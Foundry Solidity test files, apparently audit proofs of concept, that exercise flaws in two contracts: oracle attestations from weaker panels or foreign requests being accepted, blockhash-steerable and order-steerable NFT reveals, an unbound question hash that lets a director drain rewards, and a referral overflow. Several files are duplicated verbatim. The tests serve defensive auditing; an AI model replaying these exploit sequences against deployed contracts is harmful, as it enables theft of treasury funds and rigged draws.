// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleShrine} from "src/OracleShrine.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Records what the shrine asks and pulls the price, like the real intake.
contract ProofIntake is IIntake {
    uint256 public nonce;

    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)
        external
        returns (bytes32 requestId)
    {
        IERC20(asset).transferFrom(msg.sender, address(this), amount);
        requestId = keccak256(abi.encode("intake request", ++nonce));
    }
}

/// The shrine accepts, through the permissionless `record`, an attestation for a pinned reward question whose
/// panel is 3 seats with a quorum of 3, although the director paid for a panel of 30 with a quorum of 20. Anyone
/// may buy an oracle answer to the same question document (the hash does not cover panelSize/quorum) signed in
/// the shrine's domain, so the weakest panel the shrine tolerates decides a week worth 20% of the treasury.
contract WeakPanelRecordTest is Test {
    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address signer = vm.addr(SIGNER_KEY);
    address owner = address(0xA11CE);
    address director = address(0xD1);
    address attacker = address(0xBAD);
    address claimant = address(0xC1A1);

    ProofIMD imd;
    ProofIntake intake;
    OracleShrine shrine;

    function setUp() public {
        vm.warp(1_800_000_000);
        imd = new ProofIMD();
        intake = new ProofIntake();
        shrine = new OracleShrine(owner, intake, imd, signer, director);
        imd.mint(address(shrine), 1_000 ether);
    }

    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));
        return abi.encodePacked(r, s, v);
    }

    function _attestation(bytes32 questionHash, uint16 panelSize, uint16 quorum, uint16 agreed)
        internal
        view
        returns (OracleShrine.Attestation memory a)
    {
        a = OracleShrine.Attestation({
            requestId: keccak256("attacker's own oracle request"),
            chainId: block.chainid,
            questionHash: questionHash,
            answerType: 0,
            answer: abi.encode(true),
            figure: 0,
            fromBlock: 100,
            toBlock: 200,
            blockHash: bytes32(uint256(7)),
            panelJobId: keccak256("panel job"),
            panelSize: panelSize,
            quorum: quorum,
            agreed: agreed,
            issuedAt: uint64(block.timestamp),
            expiresAt: uint64(block.timestamp + 1 hours)
        });
    }

    function test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() public {
        // The director asks the panel of 30 (quorum 20) whether the week-1 list behind `root` follows the rules.
        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));
        root = keccak256(bytes.concat(root)); // single-leaf StandardMerkleTree
        bytes32 questionHash = keccak256("canonical question document for week 1");
        bytes memory body = bytes('{"v":1,"question":"...","panelSize":30,"quorum":20}');
        vm.prank(director);
        shrine.askRewards(1, root, 100 ether, body, questionHash);
        assertEq(shrine.reserved(), 100 ether);

        // Anyone buys the same question document from the intake with panelSize 3 / quorum 3 and the shrine named
        // as consumer; the oracle signs the answer in the shrine's domain. The relay is permissionless.
        OracleShrine.Attestation memory a = _attestation(questionHash, 3, 3, 3);
        bytes memory sig = _sign(a);

        vm.prank(attacker);
        vm.expectRevert(); // expected: a panel smaller than the one paid for is refused
        shrine.record(a, sig);

        // If the line above did not revert, the week is activated by the 3-seat verdict and claims pay out.
        (bytes32 orid,,,,,,) = shrine.judgments(questionHash);
        assertEq(orid, bytes32(0), "a 3-of-3 panel's verdict was recorded for a 30-seat question");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GodsOfIMDInhabitants} from "src/GodsOfIMDInhabitants.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Once the block after the forge is older than 256 blocks, `reveal` draws from `blockhash(block.number - 1)`,
/// a value the caller chooses by choosing the block in which to call `reveal`. The same soul then gets a different
/// Mark depending on the reveal block: a re-roll per block until the deck's Divine comes out.
contract RevealRerollTest is Test {
    ProofIMD imd;
    GodsOfIMDInhabitants nft;
    address owner = address(0xA11CE);
    address player = address(0xBEEF);

    function setUp() public {
        imd = new ProofIMD();
        nft = new GodsOfIMDInhabitants(owner, IERC20(address(imd)), address(0x5A1), address(0xB0));
        vm.prank(owner);
        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);
        imd.mint(player, 100 ether);
        vm.prank(player);
        imd.approve(address(nft), type(uint256).max);
        vm.roll(1000);
    }

    /// The draw the contract makes under the stale-hash fallback at the current block.
    function _drawAtThisBlock(uint256 id) internal view returns (GodsOfIMDInhabitants.Mark) {
        bytes32 h = blockhash(block.number - 1);
        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));
        uint256[4] memory w = [uint256(640), 250, 100, 10]; // nothing revealed yet
        uint256 r = rand % 1000;
        for (uint256 k = 4; k > 0;) {
            --k;
            if (r < w[k]) return GodsOfIMDInhabitants.Mark(k + 1);
            r -= w[k];
        }
        return GodsOfIMDInhabitants.Mark.Mortal;
    }

    function _revealAndRead(uint256 id) internal returns (GodsOfIMDInhabitants.Mark) {
        (bool ok,) = address(nft).call(abi.encodeWithSelector(nft.reveal.selector, id));
        ok; // a fix may also refuse the stale reveal: then the Mark stays Unrevealed on both paths
        return nft.markOf(id);
    }

    function test_theRevealBlockDoesNotChooseTheMark() public {
        vm.prank(player);
        uint256 id = nft.forge(keccak256("soul"), address(0));
        uint256 b = nft.revealBlock(id);
        assertEq(b, block.number + 1);

        // Nobody revealed for 257 blocks: blockhash(b) is gone and the fallback kicks in.
        vm.roll(b + 257);
        assertEq(blockhash(b), bytes32(0), "the forge block hash must be stale for this test");

        // Walk forward until a block where the fallback draws Divine, and one where it draws Mortal.
        uint256 divineBlock;
        uint256 mortalBlock;
        for (uint256 i; i < 5000 && (divineBlock == 0 || mortalBlock == 0); ++i) {
            GodsOfIMDInhabitants.Mark m = _drawAtThisBlock(id);
            if (m == GodsOfIMDInhabitants.Mark.Divine && divineBlock == 0) divineBlock = block.number;
            if (m == GodsOfIMDInhabitants.Mark.Mortal && mortalBlock == 0) mortalBlock = block.number;
            vm.roll(block.number + 1);
        }
        assertTrue(divineBlock != 0 && mortalBlock != 0, "no steering blocks found");

        uint256 snap = vm.snapshotState();
        vm.roll(divineBlock);
        GodsOfIMDInhabitants.Mark atDivine = _revealAndRead(id);
        vm.revertToState(snap);
        vm.roll(mortalBlock);
        GodsOfIMDInhabitants.Mark atMortal = _revealAndRead(id);

        emit log_named_uint("mark when revealed at the chosen block", uint8(atDivine));
        emit log_named_uint("mark when revealed at another block", uint8(atMortal));
        assertEq(uint8(atDivine), uint8(atMortal), "the caller chose the Mark by choosing the reveal block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GodsOfIMDInhabitants} from "src/GodsOfIMDInhabitants.sol";

contract OrderIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}
}

/// The owner forges the 100 reserved souls in one transaction. Two blocks later every draw is a known function
/// of the deck that is left, so the owner reveals in the order that turns the most of them Divine.
contract RevealOrderTest is Test {
    GodsOfIMDInhabitants nft;
    address owner = address(0xA11CE);

    function setUp() public {
        nft = new GodsOfIMDInhabitants(owner, IERC20(address(new OrderIMD())), address(0x5A1), address(0xB0));
        vm.roll(1000);
    }

    /// Exactly the contract's `_draw`, read from public state.
    function _predict(uint256 id) internal view returns (uint8) {
        bytes32 h = blockhash(nft.revealBlock(id));
        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));
        uint256[4] memory w;
        uint256 total;
        for (uint256 i; i < 4; ++i) {
            w[i] = nft.markCap(i) - nft.markRevealed(i);
            total += w[i];
        }
        uint256 r = rand % total;
        for (uint256 i = 4; i > 0;) {
            --i;
            if (r < w[i]) return uint8(i + 1);
            r -= w[i];
        }
        return 1;
    }

    function test_revealOrderDoesNotMintExtraDivines() public {
        bytes32[] memory hs = new bytes32[](100);
        for (uint256 i; i < 100; ++i) hs[i] = keccak256(abi.encode("reserved", i));
        vm.prank(owner);
        uint256 first = nft.forgeReservedMany(hs);
        vm.roll(block.number + 2);
        vm.setBlockhash(block.number - 1, keccak256("an ordinary block hash"));

        bool[100] memory done;
        uint256 left = 100;
        // Greedy: reveal any soul that draws Divine now; when none does, reveal one that is not Divine anyway
        // (it burns a deck slot and re-rolls everyone else's modulus).
        while (left > 0) {
            uint256 pick = type(uint256).max;
            uint256 filler = type(uint256).max;
            for (uint256 i; i < 100; ++i) {
                if (done[i]) continue;
                uint8 m = _predict(first + i);
                if (m == 4) { pick = i; break; }
                if (filler == type(uint256).max) filler = i;
            }
            if (pick == type(uint256).max) pick = filler;
            uint256[] memory one = new uint256[](1);
            one[0] = first + pick;
            nft.revealMany(one);
            done[pick] = true;
            --left;
        }
        uint256 divines = nft.markRevealed(3);
        emit log_named_uint("Divines the owner took out of 100 reserved souls (deck: 10 in 1000, fair ~1)", divines);
        // 100 fair draws from a 1000-card deck with 10 Divines give at most 4 Divines with >99.6% probability.
        assertLe(divines, 4, "reveal order let the revealer pick the deck's Divines");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleShrine} from "src/OracleShrine.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract ScratchIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Pulls the price and remembers the callback; `deliver` calls it under 200k gas and swallows a revert.
contract ScratchIntake is IIntake {
    uint256 private nonce;
    mapping(bytes32 => Callback) private callbacks;

    function requestWithFailure(bytes32, bytes calldata, Callback calldata callback, bytes4, address asset, uint256 amount)
        external
        returns (bytes32 requestId)
    {
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));
        requestId = keccak256(abi.encode(address(this), ++nonce));
        callbacks[requestId] = callback;
    }

    function deliver(bytes32 requestId, OracleShrine.Attestation calldata a, bytes calldata sig)
        external
        returns (bool ok)
    {
        Callback memory c = callbacks[requestId];
        (ok,) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, requestId, a, sig));
    }
}

/// A third party pays for the same question body (same questionHash), names the shrine as consumer, and relays
/// its own panel's answer through `record` before the shrine's paid answer arrives. The shrine accepts it: nothing
/// ties a recorded attestation to a request the shrine made. The shrine's own paid answer is then refused.
contract ForeignAnswerRecordTest is Test {
    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address owner = address(0xA11CE);
    address director = address(0xD1);
    address outsider = address(0xBAD);
    address claimant = address(0xC1A1);

    ScratchIMD imd;
    ScratchIntake intake;
    OracleShrine shrine;

    function setUp() public {
        vm.warp(1_800_000_000);
        imd = new ScratchIMD();
        intake = new ScratchIntake();
        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);
        imd.mint(address(shrine), 1_000 ether);
    }

    function _att(bytes32 oracleRequestId, bytes32 q, bool answer) internal view returns (OracleShrine.Attestation memory a) {
        a.requestId = oracleRequestId;
        a.chainId = 1;
        a.questionHash = q;
        a.answerType = 0;
        a.answer = abi.encode(answer);
        a.fromBlock = 100;
        a.toBlock = 200;
        a.panelSize = 30; // the full panel the shrine's floors require
        a.quorum = 20;
        a.agreed = 20;
        a.issuedAt = uint64(block.timestamp);
        a.expiresAt = uint64(block.timestamp + 900);
    }

    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));
        return abi.encodePacked(r, s, v);
    }

    function test_answerFromSomeoneElsesRequestMustNotSettleTheShrinesQuestion() public {
        bytes32 q = keccak256("week 1 reward list question, absolute window 100..200");
        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));
        vm.prank(director);
        bytes32 shrineRequest = shrine.askRewards(1, root, 100 ether, bytes("{...same public body...}"), q);

        // The outsider copied the public body into their own intake request (oracle UUID "outsider-uuid").
        // The plane signs it in the shrine's domain because the shrine is the named consumer.
        OracleShrine.Attestation memory foreign = _att(bytes32("outsider-uuid"), q, false);
        bytes memory foreignSig = _sign(foreign);
        vm.prank(outsider);
        (bool foreignAccepted,) = address(shrine).call(abi.encodeCall(OracleShrine.record, (foreign, foreignSig)));
        assertFalse(foreignAccepted, "an answer to a request the shrine never made settled its pinned question");

        // The shrine's own paid answer must still be able to settle its request and activate the week.
        OracleShrine.Attestation memory own = _att(bytes32("shrine-uuid"), q, true);
        assertTrue(intake.deliver(shrineRequest, own, _sign(own)), "the shrine's own paid answer was refused");
        shrine.finalizeRewards(1);
        assertEq(uint8(shrine.rewardWeek(1).status), uint8(OracleShrine.RewardStatus.Active));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleShrine} from "src/OracleShrine.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("Test IMD", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

/// Minimal intake: pulls the price and hands back an id. Never answers (the attacker relays instead).
contract ProofIntake is IIntake {
    uint256 private nonce;
    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)
        external
        returns (bytes32 requestId)
    {
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));
        requestId = keccak256(abi.encode(address(this), ++nonce));
    }
}

/// The rewards gate: "reserved IMD can only be claimed after the panel's signed answer is `true`" to the question
/// whether the list behind `root` follows the rules. `askRewards` takes `questionHash` from the director with no
/// binding to `root` or `body`, so a director (a hot server key) pins the hash of an unrelated question whose answer
/// is `true`, obtains that answer signed in the shrine's domain (anyone can pay 0.5 IMD and name the shrine as the
/// consumer), relays it through `record`, finalizes and claims the week to its own address. The panel never judged
/// the list. Fails on the current code: the attacker is paid. Passes once the pinned question is derived from the
/// proposal (root/total/week) inside the contract, or the proposal otherwise refuses an unbound hash.
contract RewardsQuestionUnboundTest is Test {
    uint256 internal constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address internal owner = address(0xA11CE);
    address internal director = address(0xD1);
    address internal attacker = address(0xBAD);
    ProofIMD internal imd;
    ProofIntake internal intake;
    OracleShrine internal shrine;

    function setUp() public {
        vm.warp(1_800_000_000);
        imd = new ProofIMD();
        intake = new ProofIntake();
        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);
        imd.mint(address(shrine), 1_000 ether);
    }

    function test_directorActivatesRewardsWithAnswerToUnrelatedQuestion() public {
        uint256 total = 200 ether; // exactly maxRewardBps (20%) of the free balance
        // Single-leaf tree: root == leaf, empty proof.
        bytes32 root = shrine.rewardLeaf(attacker, total);
        // Hash of a question that has nothing to do with the list ("Is 1 + 1 = 2?"), chosen by the director.
        bytes32 unrelated = keccak256("Is 1 + 1 = 2?");

        vm.prank(director);
        (bool proposed,) = address(shrine).call(
            abi.encodeWithSignature(
                "askRewards(uint64,bytes32,uint256,bytes,bytes32)",
                uint64(1), root, total, bytes('{"question":"does the list behind root follow the rules?"}'), unrelated
            )
        );

        if (proposed) {
            // The oracle's honest answer to the unrelated question, signed for this shrine.
            OracleShrine.Attestation memory a = OracleShrine.Attestation({
                requestId: keccak256("attacker's own oracle request"),
                chainId: block.chainid,
                questionHash: unrelated,
                answerType: 0,
                answer: abi.encode(true),
                figure: 0,
                fromBlock: 100,
                toBlock: 200,
                blockHash: bytes32(uint256(7)),
                panelJobId: keccak256("panel job"),
                panelSize: 30,
                quorum: 20,
                agreed: 30,
                issuedAt: uint64(block.timestamp),
                expiresAt: uint64(block.timestamp + 1 hours)
            });
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));
            bytes memory sig = abi.encodePacked(r, s, v);

            vm.startPrank(attacker);
            address(shrine).call(abi.encodeWithSignature(
                "record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)",
                a, sig
            ));
            address(shrine).call(abi.encodeWithSignature("finalizeRewards(uint64)", uint64(1)));
            bytes32[] memory proof = new bytes32[](0);
            address(shrine).call(
                abi.encodeWithSignature("claim(uint64,address,uint256,bytes32[])", uint64(1), attacker, total, proof)
            );
            vm.stopPrank();
        }

        assertEq(imd.balanceOf(attacker), 0, "rewards were paid on a judgment of a question unrelated to the list");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {GodsOfIMDInhabitants} from "src/GodsOfIMDInhabitants.sol";

contract ReferralProofToken is ERC20 {
    constructor() ERC20("Proof token", "TEST") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ReferralConfigurationProof is Test {
    function test_referralUpdateMustNotInvalidateAnEnabledForgeToken() public {
        address owner = address(0xA11CE);
        address referrer = address(0x1001);
        address buyer = address(0x1002);
        ReferralProofToken imd = new ReferralProofToken();
        ReferralProofToken alt = new ReferralProofToken();
        GodsOfIMDInhabitants nft = new GodsOfIMDInhabitants(owner, imd, address(0x5100), address(0xB000));
        vm.startPrank(owner);
        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);
        uint256 id = nft.forgeReserved(keccak256("referrer soul"));
        nft.transferFrom(owner, referrer, id);
        // Valid initially: 95% burned + the default 5% referral = 100%.
        nft.setForgeToken(address(alt), 100 ether, 900, 9500, owner);
        // A fix may reject this update atomically; it must not accept an unusable configuration.
        (bool updated,) = address(nft).call(abi.encodeCall(nft.setReferralBps, (uint16(1000))));
        vm.stopPrank();
        if (!updated) {
            assertEq(nft.referralBps(), 500, "rejected update is atomic");
            return;
        }
        alt.mint(buyer, 100 ether);
        vm.startPrank(buyer);
        alt.approve(address(nft), 100 ether);
        // Expected: a validated, enabled token remains usable by an eligible, funded player.
        // Actual: panic 0x11 at price - burned - toReferrer (100 - 95 - 10).
        nft.forgeWithToken(address(alt), keccak256("paid soul"), referrer);
        vm.stopPrank();
        assertEq(nft.balanceOf(buyer), 1);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GodsOfIMDInhabitants} from "src/GodsOfIMDInhabitants.sol";

contract OrderIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}
}

/// The owner forges the 100 reserved souls in one transaction. Two blocks later every draw is a known function
/// of the deck that is left, so the owner reveals in the order that turns the most of them Divine.
contract RevealOrderTest is Test {
    GodsOfIMDInhabitants nft;
    address owner = address(0xA11CE);

    function setUp() public {
        nft = new GodsOfIMDInhabitants(owner, IERC20(address(new OrderIMD())), address(0x5A1), address(0xB0));
        vm.roll(1000);
    }

    /// Exactly the contract's `_draw`, read from public state.
    function _predict(uint256 id) internal view returns (uint8) {
        bytes32 h = blockhash(nft.revealBlock(id));
        uint256 rand = uint256(keccak256(abi.encode(h, nft.soulHashOf(id), id)));
        uint256[4] memory w;
        uint256 total;
        for (uint256 i; i < 4; ++i) {
            w[i] = nft.markCap(i) - nft.markRevealed(i);
            total += w[i];
        }
        uint256 r = rand % total;
        for (uint256 i = 4; i > 0;) {
            --i;
            if (r < w[i]) return uint8(i + 1);
            r -= w[i];
        }
        return 1;
    }

    function test_revealOrderDoesNotMintExtraDivines() public {
        bytes32[] memory hs = new bytes32[](100);
        for (uint256 i; i < 100; ++i) hs[i] = keccak256(abi.encode("reserved", i));
        vm.prank(owner);
        uint256 first = nft.forgeReservedMany(hs);
        vm.roll(block.number + 2);
        vm.setBlockhash(block.number - 1, keccak256("an ordinary block hash"));

        bool[100] memory done;
        uint256 left = 100;
        // Greedy: reveal any soul that draws Divine now; when none does, reveal one that is not Divine anyway
        // (it burns a deck slot and re-rolls everyone else's modulus).
        while (left > 0) {
            uint256 pick = type(uint256).max;
            uint256 filler = type(uint256).max;
            for (uint256 i; i < 100; ++i) {
                if (done[i]) continue;
                uint8 m = _predict(first + i);
                if (m == 4) { pick = i; break; }
                if (filler == type(uint256).max) filler = i;
            }
            if (pick == type(uint256).max) pick = filler;
            uint256[] memory one = new uint256[](1);
            one[0] = first + pick;
            nft.revealMany(one);
            done[pick] = true;
            --left;
        }
        uint256 divines = nft.markRevealed(3);
        emit log_named_uint("Divines the owner took out of 100 reserved souls (deck: 10 in 1000, fair ~1)", divines);
        // 100 fair draws from a 1000-card deck with 10 Divines give at most 4 Divines with >99.6% probability.
        assertLe(divines, 4, "reveal order let the revealer pick the deck's Divines");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleShrine} from "src/OracleShrine.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract ProofIMD is ERC20 {
    constructor() ERC20("Test IMD", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

/// Minimal intake: pulls the price and hands back an id. Never answers (the attacker relays instead).
contract ProofIntake is IIntake {
    uint256 private nonce;
    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)
        external
        returns (bytes32 requestId)
    {
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));
        requestId = keccak256(abi.encode(address(this), ++nonce));
    }
}

/// The rewards gate: "reserved IMD can only be claimed after the panel's signed answer is `true`" to the question
/// whether the list behind `root` follows the rules. `askRewards` takes `questionHash` from the director with no
/// binding to `root` or `body`, so a director (a hot server key) pins the hash of an unrelated question whose answer
/// is `true`, obtains that answer signed in the shrine's domain (anyone can pay 0.5 IMD and name the shrine as the
/// consumer), relays it through `record`, finalizes and claims the week to its own address. The panel never judged
/// the list. Fails on the current code: the attacker is paid. Passes once the pinned question is derived from the
/// proposal (root/total/week) inside the contract, or the proposal otherwise refuses an unbound hash.
contract RewardsQuestionUnboundTest is Test {
    uint256 internal constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address internal owner = address(0xA11CE);
    address internal director = address(0xD1);
    address internal attacker = address(0xBAD);
    ProofIMD internal imd;
    ProofIntake internal intake;
    OracleShrine internal shrine;

    function setUp() public {
        vm.warp(1_800_000_000);
        imd = new ProofIMD();
        intake = new ProofIntake();
        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);
        imd.mint(address(shrine), 1_000 ether);
    }

    function test_directorActivatesRewardsWithAnswerToUnrelatedQuestion() public {
        uint256 total = 200 ether; // exactly maxRewardBps (20%) of the free balance
        // Single-leaf tree: root == leaf, empty proof.
        bytes32 root = shrine.rewardLeaf(attacker, total);
        // Hash of a question that has nothing to do with the list ("Is 1 + 1 = 2?"), chosen by the director.
        bytes32 unrelated = keccak256("Is 1 + 1 = 2?");

        vm.prank(director);
        (bool proposed,) = address(shrine).call(
            abi.encodeWithSignature(
                "askRewards(uint64,bytes32,uint256,bytes,bytes32)",
                uint64(1), root, total, bytes('{"question":"does the list behind root follow the rules?"}'), unrelated
            )
        );

        if (proposed) {
            // The oracle's honest answer to the unrelated question, signed for this shrine.
            OracleShrine.Attestation memory a = OracleShrine.Attestation({
                requestId: keccak256("attacker's own oracle request"),
                chainId: block.chainid,
                questionHash: unrelated,
                answerType: 0,
                answer: abi.encode(true),
                figure: 0,
                fromBlock: 100,
                toBlock: 200,
                blockHash: bytes32(uint256(7)),
                panelJobId: keccak256("panel job"),
                panelSize: 30,
                quorum: 20,
                agreed: 30,
                issuedAt: uint64(block.timestamp),
                expiresAt: uint64(block.timestamp + 1 hours)
            });
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));
            bytes memory sig = abi.encodePacked(r, s, v);

            vm.startPrank(attacker);
            address(shrine).call(abi.encodeWithSignature(
                "record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)",
                a, sig
            ));
            address(shrine).call(abi.encodeWithSignature("finalizeRewards(uint64)", uint64(1)));
            bytes32[] memory proof = new bytes32[](0);
            address(shrine).call(
                abi.encodeWithSignature("claim(uint64,address,uint256,bytes32[])", uint64(1), attacker, total, proof)
            );
            vm.stopPrank();
        }

        assertEq(imd.balanceOf(attacker), 0, "rewards were paid on a judgment of a question unrelated to the list");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {OracleShrine} from "src/OracleShrine.sol";
import {IIntake} from "src/interfaces/IIntake.sol";

contract ScratchIMD is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Pulls the price and remembers the callback; `deliver` calls it under 200k gas and swallows a revert.
contract ScratchIntake is IIntake {
    uint256 private nonce;
    mapping(bytes32 => Callback) private callbacks;

    function requestWithFailure(bytes32, bytes calldata, Callback calldata callback, bytes4, address asset, uint256 amount)
        external
        returns (bytes32 requestId)
    {
        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));
        requestId = keccak256(abi.encode(address(this), ++nonce));
        callbacks[requestId] = callback;
    }

    function deliver(bytes32 requestId, OracleShrine.Attestation calldata a, bytes calldata sig)
        external
        returns (bool ok)
    {
        Callback memory c = callbacks[requestId];
        (ok,) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, requestId, a, sig));
    }
}

/// A third party pays for the same question body (same questionHash), names the shrine as consumer, and relays
/// its own panel's answer through `record` before the shrine's paid answer arrives. The shrine accepts it: nothing
/// ties a recorded attestation to a request the shrine made. The shrine's own paid answer is then refused.
contract ForeignAnswerRecordTest is Test {
    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address owner = address(0xA11CE);
    address director = address(0xD1);
    address outsider = address(0xBAD);
    address claimant = address(0xC1A1);

    ScratchIMD imd;
    ScratchIntake intake;
    OracleShrine shrine;

    function setUp() public {
        vm.warp(1_800_000_000);
        imd = new ScratchIMD();
        intake = new ScratchIntake();
        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);
        imd.mint(address(shrine), 1_000 ether);
    }

    function _att(bytes32 oracleRequestId, bytes32 q, bool answer) internal view returns (OracleShrine.Attestation memory a) {
        a.requestId = oracleRequestId;
        a.chainId = 1;
        a.questionHash = q;
        a.answerType = 0;
        a.answer = abi.encode(answer);
        a.fromBlock = 100;
        a.toBlock = 200;
        a.panelSize = 30; // the full panel the shrine's floors require
        a.quorum = 20;
        a.agreed = 20;
        a.issuedAt = uint64(block.timestamp);
        a.expiresAt = uint64(block.timestamp + 900);
    }

    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));
        return abi.encodePacked(r, s, v);
    }

    function test_answerFromSomeoneElsesRequestMustNotSettleTheShrinesQuestion() public {
        bytes32 q = keccak256("week 1 reward list question, absolute window 100..200");
        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));
        vm.prank(director);
        bytes32 shrineRequest = shrine.askRewards(1, root, 100 ether, bytes("{...same public body...}"), q);

        // The outsider copied the public body into their own intake request (oracle UUID "outsider-uuid").
        // The plane signs it in the shrine's domain because the shrine is the named consumer.
        OracleShrine.Attestation memory foreign = _att(bytes32("outsider-uuid"), q, false);
        bytes memory foreignSig = _sign(foreign);
        vm.prank(outsider);
        (bool foreignAccepted,) = address(shrine).call(abi.encodeCall(OracleShrine.record, (foreign, foreignSig)));
        assertFalse(foreignAccepted, "an answer to a request the shrine never made settled its pinned question");

        // The shrine's own paid answer must still be able to settle its request and activate the week.
        OracleShrine.Attestation memory own = _att(bytes32("shrine-uuid"), q, true);
        assertTrue(intake.deliver(shrineRequest, own, _sign(own)), "the shrine's own paid answer was refused");
        shrine.finalizeRewards(1);
        assertEq(uint8(shrine.rewardWeek(1).status), uint8(OracleShrine.RewardStatus.Active));
    }
}